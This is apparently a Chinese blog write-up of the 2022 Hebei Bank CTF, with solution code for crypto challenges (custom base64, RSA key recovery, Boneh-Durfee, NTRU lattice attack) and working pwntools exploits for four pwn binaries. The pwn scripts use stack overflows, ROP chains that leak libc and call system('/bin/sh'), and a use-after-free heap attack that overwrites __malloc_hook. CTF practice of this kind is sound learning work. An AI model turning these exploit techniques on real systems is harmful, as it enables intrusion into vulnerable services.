[河北银行 2022 CTF]

7小时的比赛,确实有些紧张,然后忙中出错。感觉到了从入门到放弃。只作了6个小题

crypto 1 手抖的小明

很明显这是一个变表的base64,只是“+”有多个,就需要爆破一下。本来挺容易的事,费了好长时间也整不成,后来主办方发出了个新密文才作成。

# coding:utf-8
# python 3.6

#from flag import flag
#import re

s = "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"
  
#assert re.match(r'^DASCTF\{[a-f0-9]+\}$',flag) != None
flag = "DASCTF{"
def encode(inputs):
    bin_str = []
    for i in inputs:
        x = str(bin(ord(i))).replace('0b', '')
        bin_str.append('{:0>8}'.format(x))
    outputs = ""
    nums = 0
    while bin_str:
        temp_list = bin_str[:3]
        if (len(temp_list) != 3):
            nums = 3 - len(temp_list)
            while len(temp_list) < 3:
                temp_list += ['0' * 8]
        temp_str = "".join(temp_list)
        temp_str_list = []
        for i in range(0, 4):
            temp_str_list.append(int(temp_str[i * 6:(i + 1) * 6], 2))
        if nums:
            temp_str_list = temp_str_list[0:4 - nums]
        for i in temp_str_list:
            outputs += s[i]
        bin_str = bin_str[3:]
    outputs += nums * '='
    return outputs
    
#c = encode(flag)
#print(c)
s = "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"
h = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
c = '+Se++h+mFYVPJv+zb+SYK+V4dvKRKQSXJ+uzJ++zJ+uRK3JXK+bYG+'
#    +Se++h+mFYVPJv+zb+SYK+V4dvKRKQSXJ+uzJ++zJ+uRK3JXK+bYG+==
m = ''
for i in c:
    print(s.index(i))
    p = s.index(i)
    m+=h[p]
print(m)

#m = "fQ==" #

from base64 import *
import string 

ss = b'0123456789abcdef-_{}'
#ss = string.printable.encode()
def aaa(idx, mm):
    #print(mm, idx)
    if idx>=4:
        #print(idx, mm)
        try:
            t = b64decode(mm)
        except:
            return 
        #print(t)
        for v in t:
            if v not in ss:
                break
        else:
            print("xxx ",t)
        return 
    if mm[idx] == 'Q':
        for v in "QRSTU":
            if idx == 0:
                aaa(idx+1, v+mm[1:])
            elif idx==3:
                aaa(idx+1, mm[0:3]+v)
            else:
                aaa(idx+1, mm[0:idx]+v+mm[idx+1:])
    else:
        aaa(idx+1, mm)

m = 'QEFQQ1QGezc4YWQhMQEzZQcwOWZkZjEyYQVhYQQhYQVkZDYyZQMzfQ=='
m = m[8:]  #GASCTF

for v in range(0, len(m), 4):
    print('---------',v,m[v: v+4])
    aaa(0, m[v: v+4])
    
    
#DASCTF{78ada113e709fdf12a5aa4aa5dd62e33}  

crypto 3 RSA

这是个比较简单的rsa,flag分两部分分别加密,第1部分的d给出了,通过e,d分解n然后求第2部分

d1 = 0x7d12e57b1aa157038ebe5c45b56256270671e6984b0dcdf10a2ea07ce480143240c9a3e1c60870e499306a717073f157476aa88e99a7bdf1e2a4adf8ce21025cc6c05035c4a1d7e3b6f061464872e65118384999f0154f3c1761fa68d4685126b7fc98f4c2cdc41c98aa4e099a868a89099dd2170664647efca2c8d8e06a2e49
e1 = 0x10001
n1 = 0x96ed2727e4446e26c84552a9a19640c7d720c9b6e661cfcfec03463e92a9d0b228ddc9847c0daa137a19db67294626c535fe71c388f6ea3eb8cb5dbf09a84374eb021c9297a29394cf77da157c1b8be77b09a4fcbe54bf3dc93d33539e842766ad8e38369093ddc034ac32583a48e299a4d8b31b606b1729298ee136664b8b77
c1 = 0x6c435db37217bc4da3f225a8f1a0501e03a97d2cbc4fa249df051ed66c1559b68885f4fa181bdd9e98242441f463dbbc1c26d1eea2c5774a0a905b366c8775bce8e52182dc32a93647c9b8842b74abc434e5b84eeae679a3b19cb7a1ef6ae8f65d22ce6ab438a16119805eee83408a68207bbdfde5181a8bd8b4794c711d33c4
e2=0x3f1
n2=0x96ed2727e4446e26c84552a9a19640c7d720c9b6e661cfcfec03463e92a9d0b228ddc9847c0daa137a19db67294626c535fe71c388f6ea3eb8cb5dbf09a84374eb021c9297a29394cf77da157c1b8be77b09a4fcbe54bf3dc93d33539e842766ad8e38369093ddc034ac32583a48e299a4d8b31b606b1729298ee136664b8b77
c2=0x8cb5d8861e5838f41910d6eaf142a8d47b92e0c6b1b1e9e25896f7169644bbb726ccfdc82ba50932fbc45f00c53dda42f8efc358a5108cde8aaa9f38b493aa3417c9522924f06847ba4a3dd26f005a610f7633877fbe89e090df5cb3a7a5ebae0fbe72eabb339b21fa2ddd33844a5cb53e39491fc472721ed676ae07b33c8d6e

from gmpy2 import * 
import random 
from Crypto.Util.number import long_to_bytes

def getpq(n,e,d):
    while True:
        k = e * d - 1
        g = random.randint(0, n)
        while k%2==0:
            k=k//2
            temp=powmod(g,k,n)-1
            if gcd(temp,n)>1 and temp!=0:
                return gcd(temp,n)

print(getpq(n1,e1,d1))
p = 7989817345872802916258824633068986429227729563110196898659568255235293257271203068952971618219681106634429039565231866429796385557747877260629666332312643
q = 13264897405419718100411551025228233248810511685104073408647554593159408298020238756835088759200259612491893289998541138751171701279712972233358298687021757

print(p)
print(q)
phi = (p-1)*(q-1)
d2 = invert(e2, phi)
m2 = pow(c2, d2, n2)
print(hex(m2))
print(long_to_bytes(m2))
#b'flag part two is :ca5c600783b9bde0'
m1 = pow(c1, d1, n1)
print(long_to_bytes(m1))  # flag part one is :2295b774c4467c9a
#2295b774c4467c9aca5c600783b9bde0

crypto 4 RSA

给出了非常大的e,看上去就是用BonehAndDurfree攻击,加密时是用3个e连续加密,实际上就是3个e乘一起,BD攻击这块有模版直接用


#!python3
# -*- coding: utf-8 -*-
# @Time : 2020/10/31 23:37
# @Author : A.James
# @FileName: tt6.py
# @Email : alexjames@sina.com
import time

############################################
# Config
##########################################

"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct 
upperbound on the determinant. Note that this 
doesn't necesseraly mean that no solutions 
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False

"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7  # stop removing if lattice reaches that dimension


############################################
# Functions
##########################################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii, ii] >= modulus:
            nothelpful += 1

    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")


# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii, jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)


# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print( "* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                return BB

            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
                        bound - BB[ii, ii]):
                    print( "* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                    return BB
    # nothing happened
    return BB


""" 
Returns:
* 0,0   if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
"""


def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    """
    Boneh and Durfee revisited by Herrmann and May

    finds a solution if:
    * d < N^delta
    * |x| < e^delta
    * |y| < e^0.5
    whenever delta < 1 - sqrt(2)/2 ~ 0.292
    """

    # substitution (Herrman and May)
    PR.< u, x, y > = PolynomialRing(ZZ)
    Q = PR.quotient(x * y + 1 - u)  # u = xy + 1
    polZ = Q(pol).lift()

    UU = XX * YY + 1

    # x-shifts
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x ^ ii * modulus ^ (mm - kk) * polZ(u, x, y) ^ kk
            gg.append(xshift)
    gg.sort()

    # x-shifts list of monomials
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials():
            if monomial not in monomials:
                monomials.append(monomial)
    monomials.sort()

    # y-shifts (selected by Herrman and May)
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            yshift = y ^ jj * polZ(u, x, y) ^ kk * modulus ^ (mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift)  # substitution

    # y-shifts list of monomials
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            monomials.append(u ^ kk * y ^ jj)

    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)

    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus ^ mm, nn - 1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print( "failure")
            return 0, 0

    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus ^ mm)

    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus ^ (mm * nn)
    if det >= bound:
        print( "We do not have det < bound. Solutions might not be found.")
        print( "Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print( "size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print( "det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus ^ mm)

    # LLL
    if debug:
        print( "optimizing basis of the lattice via LLL, this can take a long time")

    BB = BB.LLL()

    if debug:
        print( "LLL is done!")

    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print( "looking for independent vectors in the lattice")
    found_polynomials = False

    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
                pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)

            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print( "found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        print( "no independant vectors could be found. This should very rarely happen...")
        return 0, 0

    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        print( "Your prediction (delta) is too small")
        return 0, 0

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    #
    return solx, soly


def example():
    ############################################
    # How To Use This Script
    ##########################################

    #
    # The problem to solve (edit the following values)
    #

    # the modulus
    N=0x5bf7c98078ceec04b8c414c65731926712d48f6852c4d7a5dfeac5344d3f02d42dc8e387eb7e731c7efb233464279811228fb4bf96dbefe753c7b5a1850cbaa4d7f1048b5d3a2a7a0d3092fd8e4be0f8e298dfc57a38604c225760446816174be08ba1bcb7eaf594126961d5feab6de678a67e1100734d2edd76d6e3778c21e7
    # the public exponent
    e=663164990242540553660820123984958362292767589050706562525585149518469420039430050814053460276242420171688628686731721858712475428243746423919061950258579075115696969767529903377571203001499079349600716341343846020128095111908915240158242174010840342112170003771807591457926458807775028482732501 * 1376213 * 11932523
    # the cipher
    c=0xcfd6983f1856b0fb6dc851d56ddcbfe66e03acb5ff568f6cd2c07f08448e09b5c513f76e939f4cf3d6f8b0950027c1a31ab6ae27d52ce0bb4b2c3d6502a8bd0e167471b1ee03e645b0aca8e2a93f4b1a8a9e3e493fc811e4104160a11494c548f21508559b508a6ef9a20df7e418fae6f33d14899419330ab29fed26712623b
    
    # the hypothesis on the private exponent (the theoretical maximum is 0.292)
    delta = .18  # this means that d < N^delta

    #
    # Lattice (tweak those values)
    #

    # you should tweak this (after a first run), (e.g. increment it until a solution is found)
    m = 4  # size of the lattice (bigger the better/slower)

    # you need to be a lattice master to tweak these
    t = int((1 - 2 * delta) * m)  # optimization from Herrmann and May
    X = 2 * floor(N ^ delta)  # this _might_ be too much
    Y = floor(N ^ (1 / 2))  # correct if p, q are ~ same size

    #
    # Don't touch anything below
    #

    # Problem put in equation
    P.<x,y> = PolynomialRing(ZZ)
    A = int((N + 1) / 2)
    pol = 1 + x * (A + y)

    #
    # Find the solutions!
    #

    # Checking bounds
    if debug:
        print( "=== checking values ===")
        print( "* delta:", delta)
        print( "* delta < 0.292", delta < 0.292)
        print( "* size of e:", int(log(e) / log(2)))
        print( "* size of N:", int(log(N) / log(2)))
        print( "* m:", m, ", t:", t)

    # boneh_durfee
    if debug:
        print( "=== running algorithm ===" )
        start_time = time.time()

    solx, soly = boneh_durfee(pol, e, m, t, X, Y)

    # found a solution?
    if solx > 0:
        print( "=== solution found ===")
        if False:
            print( "x:", solx)
            print( "y:", soly)

        d = int(pol(solx, soly) / e)
        m = pow(c, d, N)
        print( '[-]d is ' + str(d))
        print( '[-]m is: ' + str(m))
        print( '[-]hex(m) is: ' + '{:x}'.format(int(m)))
    else:
        print( "[!]no solution was found!")
        print( '[!]All Done!')

    if debug:
        print("[!]Timer: %s s" % (time.time() - start_time))
        print( '[!]All Done!')


example()
# 666c6167206973203a3738636335366261343435306136393766643632356363393164646634343332
#78cc56ba4450a697fd625cc91ddf4432
#>>> bytes.fromhex('666c6167206973203a3738636335366261343435306136393766643632356363393164646634343332')
#b'flag is :78cc56ba4450a697fd625cc91ddf4432'

crypto 5 标准的NTRU

用网上的模板

'''
#! /bin/bash/env python3

from random import randrange
from Crypto.Util.number import *
from gmpy2 import invert
def gcd(a,b):
    while b:
        a,b = b,a%b
    return a

def generate():
    p = getPrime(1024)
    while True:
        f = randrange(1,(p//2)**(0.5))
        g = randrange((p//4)**(0.5),(p//2)**(0.5))
        if gcd(f,p)==1 and gcd(f,g)==1:
            break
    h = (invert(f,p)*g)%p
    return h,p,f,g
# h = g/f mod p 

def encrypt(m,h,p):
    assert m<(p//4)**(0.5)
    r = randrange(1,(p//2)**(0.5))
    c = (r*h+m)%p
    return c

h,p,f,g = generate()

from flag import flag
c = encrypt(bytes_to_long(flag),h,p)
print("h = {}".format(h))
print("p = {}".format(p))
print("c = {}".format(c))
'''
h = 70851272226599856513658616506718804769182611213413854493145253337330709939355936692154199813179587933065165812259913249917314725765898812249062834111179900151466610356207921771928832591335738750053453046857602342378475278876652263044722419918958361163645152112020971804267503129035439011008349349624213734004
p = 125796773654949906956757901514929172896506715196511121353157781851652093811702246079116208920427110231653664239838444378725001877052652056537732732266407477191221775698956008368755461680533430353707546171814962217736494341129233572423073286387554056407408816555382448824610216634458550949715062229816683685469
c = 4691517945653877981376957637565364382959972087952249273292897076221178958350355396910942555879426136128610896883898318646711419768716904972164508407035668258209226498292327845169861395205212789741065517685193351416871631112431257858097798333893494180621728198734264288028849543413123321402664789239712408700

# Construct lattice.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);

# Solve SVP.
shortest_vector = m.LLL()[0]
# shortest_vector = GaussLatticeReduction(v1, v2)[0]
f, g = shortest_vector
print(f, g)
f = -f 
g = -g

# Decrypt.
a = f*c % p % g
m1 = a * inverse_mod(f, g) % g
print(bytes.fromhex(hex(m1)[2:]))
#flag{93d02e3bf2c7458a47aac58387140dd5}

pwn 1 magicc

32位pie未开,有后门和溢出,直接溢出写后门

from pwn import *

#p = process('./magicc')
p = remote('183.129.189.62', 62039)

elf = ELF('./magicc')
context(arch='amd64', log_level='debug')

p.sendlineafter(b"4.-->Slytherin\n", b'4')
p.sendafter(b'You are one step short of success\n', b'A'*22+p32(0x80485a7))
p.recv()

p.interactive()

pwn 2 ddstack

与上题有点区别,这个没后门,溢出后ROP先泄露再进shell

from pwn import *

#p = process('./ddstack')
p = remote('183.129.189.62', 62083)

elf = ELF('./ddstack')
#libc_elf = ELF('/usr/lib/i386-linux-gnu/libc-2.31.so')
libc_elf = ELF('./libc-2.23.so')
context(arch='i386', log_level='debug')

p.sendafter(b"Your Input :", b'A'*40+p32(100))
p.sendafter(b"Try Again ?\n", b'A'*40+flat(100, 1, 0,0, elf.plt['puts'], 0x80483e0, elf.got['puts'])) #
data = p.recvline()
print(data)
libc_base = u32(data[:4]) - libc_elf.sym['puts']
libc_elf.address = libc_base
bin_sh = next(libc_elf.search(b'/bin/sh'))
print('libc:', hex(libc_base))

p.sendafter(b"Your Input :", b'A'*40+p32(100))
p.sendafter(b"Try Again ?", b'A'*40+flat(100, 1, 0,0, libc_elf.sym['system'], 0x80483e0, bin_sh))

p.interactive()

#b'flag{8cd753ca3beb65735f6438b73068b6e5}'

pwn 3 pwn14

这个在溢出时需要先用负数绕过形成溢出

from pwn import *

#p = process('./pwn14')
#libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

p = remote('183.129.189.62', 62125)
libc_elf = ELF('./libc6_2.23-0ubuntu11.2_amd64.so')

elf = ELF('./pwn14')
#libc_elf = ELF('./libc-2.23.so')
context(arch='amd64', log_level='debug')

p.sendafter(b"input the message :", b'A'*0x40)

p.recvuntil(b"your message :")
p.recv(0x40)  #local 0x38
pwn_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0xb70 #0x840
elf.address = pwn_base
pop_rdi = 0x0000000000000bd3 + pwn_base
print('pwn:', hex(pwn_base))

p.sendafter(b"input the new message size(hexadecimal):", b'-ffffff00')
p.sendafter(b"input new content:",  b'A'*0x40+flat(0, pop_rdi, elf.got['read'], elf.plt['puts'], elf.sym['_start'])) #

p.recvline() 
data = p.recvline()[:-1]
print(data)
libc_base = u64(data.ljust(8, b'\x00')) - 0xf7350 #libc_elf.sym['read']
libc_elf.address = libc_base
bin_sh = libc_base + 0x18ce57 #next(libc_elf.search(b'/bin/sh'))
system = libc_base + 0x453a0 #libc_elf.sym['system']
print('libc:', hex(libc_base))

#2
p.sendafter(b"input the message :", b'A'*0x40)
p.sendafter(b"input the new message size(hexadecimal):", b'-ffff0000')
p.sendafter(b"input new content:",  b'A'*0x40+flat(0, pop_rdi+1, pop_rdi, bin_sh, system)) #

p.interactive()

pwn 4 free_free_free

libc-2.23无show,只有add,free。在free里没有清指针有UAF。这个作乱了,其实可以更简单,懒得再弄了

先弄个unsort然后用残留改到指向_IO_2_1_stdout_ (错位。爆破半字节)然后再弄FastbinAttack把指针指到这,覆盖stdout_的头得到输出,得到libc。然后再向malloc_hook写one_gadget

from pwn import *


def connect(local=1):  
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 28546)  
    return p

libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'
#context.log_level = 'debug'

menu = b'> '
def add(size, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"size> " , str(size).encode())  #no \n
    p.sendafter(b"message> ", msg)

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"idx> " , str(idx))  # no \n after change _IO_2_1_stdout_

def pwn():
    global p
    p = connect(1)
    add(0x28, b'A'*8+ p64(0x31))
    add(0x28, b'A')
    add(0x68, b'A') #2
    add(0x68, b'A')
    add(0x68, b'A') #4

    add(0x68, b'A') #5
    add(0x68, b'A')

    add(0x18, b'A')

    free(0)
    free(1)
    free(0)

    add(0x28, b'\x10') #6
    add(0x28, b'a')
    add(0x28, b'a')
    add(0x28, p64(0)*3 + p64(0xa1)) #9

    #gdb.attach(p)
    #pause()
    
    free(1)
    add(0x28, b'A')   #0x71 = libc-stdout
    #lp = int(input("libc:x000:"), 16)*16 
    lp = 8*16   
    add(0x68, p8(0xdd)+p8(lp+5)) #11 = 2
    

    free(4)
    free(3)
    free(4)
    
    add(0x68, b'\x60')
    add(0x68, b'A')
    add(0x68, b'A')
    add(0x68, b'A')
    context.log_level = 'debug'
    add(0x68, b'\x00'*0x33+p64(0xfbad3c80)+3*p64(0)+p8(0) ) 
    
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5600 
    one_gadget = libc_base + one[3]
    libc_elf.address = libc_base
    print('libc:', hex(libc_base))
    
    free(5)
    free(6)
    free(5)
    add(0x68, p64(libc_elf.sym['__malloc_hook'] -0x23))
    add(0x68, b'A')
    add(0x68, b'A')
    add(0x68, b'\x00'*(0x13) + p64(one_gadget) )

    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"size> " , b'1')
    
    
    p.sendline(b'cat /flag')
    p.interactive()

while True:
    try:
        pwn()
    except:
        p.close()
        pass

紧紧张张,但排名非常不好。真该放弃了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值